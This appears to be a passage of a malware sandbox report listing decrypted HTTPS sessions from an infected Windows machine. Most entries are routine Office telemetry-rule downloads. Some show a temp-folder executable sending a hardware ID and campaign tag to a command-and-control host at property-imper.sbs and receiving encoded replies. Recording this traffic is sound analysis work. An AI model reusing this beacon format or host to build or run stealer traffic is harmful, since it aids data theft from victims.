2024-11-23 20:15:39 UTC	12828	OUT	Data Raw: 2d 2d 33 56 39 32 58 4f 37 49 4f 30 37 37 35 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 41 45 32 44 33 32 42 36 34 45 45 46 41 42 37 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 33 56 39 32 58 4f 37 49 4f 30 37 37 35 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 33 56 39 32 58 4f 37 49 4f 30 37 37 35 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 33 56 Data Ascii: --3V92XO7IO0775IContent-Disposition: form-data; name="hwid"2AE2D32B64EEFAB7D7CBBD6DF28D3732--3V92XO7IO0775IContent-Disposition: form-data; name="pid"2--3V92XO7IO0775IContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--3V
2024-11-23 20:15:40 UTC	1019	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=g18gpihrfsu6apfhrd35u82tpf; expires=Wed, 19-Mar-2025 14:02:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fQV2GAuAaTqqCxWWICzecfqJOjLbc5aNpin8fMbmyFxYo02KM9sdGIglTCmMrowgtbPU%2Ba%2FYslsN%2B41179QerfpZX7O%2FBnGzirOzON4iSVgxkp8pVp8pLJ4WbBMxQbTc3ZapwnM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e73d5208d0f8c53-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2404&sent=10&recv=17&lost=0&retrans=0&sent_bytes=2846&recv_bytes=13766&delivery_rate=1582655&cwnd=213&unsent_bytes=0&cid=1dd5d0adfecb265a&ts=955&x=0"
2024-11-23 20:15:40 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 20:15:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.8	49760	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:39 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:15:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:40 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 70a27cfa-201e-0051-248c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201540Z-174c587ffdf6b487hC1TEBydsn00000003eg000000000ku9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:15:40 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.8	49758	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:39 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:15:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:40 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: ca5e5154-001e-0014-4e4e-3c5151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201540Z-15b8b599d88s6mj9hC1TEBur30000000039g000000005nu4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:15:40 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.8	49757	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:39 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:15:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:40 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: ce177898-401e-00a3-1d03-3d8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201540Z-178bfbc474bscnbchC1NYCe7eg000000053000000000b9u3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:15:40 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.8	49762	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:39 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:15:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:40 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: c569ec8c-a01e-003d-0e22-3d98d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201540Z-178bfbc474bxkclvhC1NYC69g400000004sg00000000k2vf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:15:40 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.8	49759	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:39 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:15:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:40 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 107b228c-c01e-00a2-1f8c-3a2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201540Z-178bfbc474bw8bwphC1NYC38b400000004p000000000nmzh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:15:40 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.8	49763	172.67.162.84	443	3576	C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:40 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: property-imper.sbs
2024-11-23 20:15:40 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 32 41 45 32 44 33 32 42 36 34 45 45 46 41 42 37 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=2AE2D32B64EEFAB7D7CBBD6DF28D3732
2024-11-23 20:15:41 UTC	1015	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5o3p6mqdhvskqtb31tfptcgrf6; expires=Wed, 19-Mar-2025 14:02:20 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bWHVTgelBoq%2B8Nk7vxtyrJ40eKwoq6D6RQwNzJk3oCA9nRUIydALOamhXrZUgmQjYQIYSNCb6C%2FWkihZjiAV0q7gFZqHWegKygs1gPNFflMJtQcAnz5%2FDrFw2F7GGpO9eq%2Fp9R0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e73d52a6900180d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1468&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=990&delivery_rate=1880231&cwnd=201&unsent_bytes=0&cid=91857a8971393da1&ts=733&x=0"
2024-11-23 20:15:41 UTC	214	IN	Data Raw: 64 30 0d 0a 51 75 39 38 2f 66 35 6b 66 37 7a 47 51 75 4b 76 53 67 68 51 59 71 2b 4f 4e 51 37 2f 77 44 55 71 2b 4a 6b 68 51 56 76 61 71 66 49 5a 6c 46 36 49 33 46 35 64 31 4c 49 32 6b 70 55 57 4a 77 78 4e 6e 72 59 41 49 4d 33 78 41 41 54 4a 71 42 4a 76 61 75 7a 31 33 53 32 4a 47 71 48 52 41 42 72 61 36 43 65 61 79 6d 67 6b 63 67 54 62 72 41 38 2b 30 2b 4a 51 43 4d 4b 6f 58 47 30 67 2b 4e 7a 51 65 4d 30 55 69 59 6f 55 52 65 44 70 48 73 32 65 63 6a 31 2b 55 4a 36 37 47 7a 2f 4f 38 78 73 62 7a 73 55 4f 4d 69 2b 2f 79 4a 38 65 77 41 36 63 6b 41 41 51 30 65 67 6e 6d 73 70 6f 4a 48 49 45 32 36 77 50 50 74 50 69 55 41 6a 43 71 56 77 63 0d 0a Data Ascii: d0Qu98/f5kf7zGQuKvSghQYq+ONQ7/wDUq+JkhQVvaqfIZlF6I3F5d1LI2kpUWJwxNnrYAIM3xAATJqBJvauz13S2JGqHRABra6CeaymgkcgTbrA8+0+JQCMKoXG0g+NzQeM0UiYoUReDpHs2ecj1+UJ67Gz/O8xsbzsUOMi+/yJ8ewA6ckAAQ0egnmspoJHIE26wPPtPiUAjCqVwc
2024-11-23 20:15:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.8	49767	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:42 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:15:43 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:42 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 8017546c-101e-000b-4720-3d5e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201542Z-178bfbc474bv587zhC1NYCny5w00000004v00000000083nb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:15:43 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.8	49770	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:42 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:15:43 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:42 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 3029707a-401e-0047-3163-3b8597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201542Z-178bfbc474bv7whqhC1NYC1fg400000004ug00000000nz22 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:15:43 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.8	49768	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:42 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:15:43 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:42 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 9906faf6-f01e-0052-624b-3c9224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201542Z-15b8b599d88hd9g7hC1TEBp75c00000003bg00000000cpdy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:15:43 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.8	49769	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:42 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:15:43 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:43 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: ea8695b1-901e-002a-7283-3b7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201543Z-174c587ffdftv9hphC1TEBm29w000000037g00000000q4sw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:15:43 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.8	49766	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
